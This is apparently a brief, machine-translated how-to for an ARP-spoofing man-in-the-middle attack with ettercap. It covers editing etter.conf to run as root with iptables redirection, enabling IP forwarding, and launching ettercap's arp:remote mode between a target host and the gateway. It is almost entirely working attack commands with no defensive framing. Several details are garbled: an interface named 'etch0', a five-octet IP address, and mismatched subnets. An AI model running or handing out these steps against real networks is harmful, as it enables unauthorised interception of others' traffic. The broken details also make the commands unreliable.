For the first time, modify the configuration
1 、 vi /etc/ettercap/etter.conf
ec_uid, ec_gid is changed to 0, and then find if you use iptables under the linux category to remove the comment
2、vi /etc/NetworkManager/NetworkManager.conf managed=true
3. Restart service network-manager restart
4. Modify echo 1 >> /proc/sys/net/ipv4/ip_forward to view the modification result cat /proc/sys/net/ipv4/ip_forward
start ettercap
ettercap -i etch0 (attacker network card) -Tq -M arp:remote /192.168.1.2.157 (attackee IP)/ /192.168.2.1 (gateway)/
ettercap -i etch0-Tq -M arp:remote /192.168.2.1/ /192.168.1.2.157/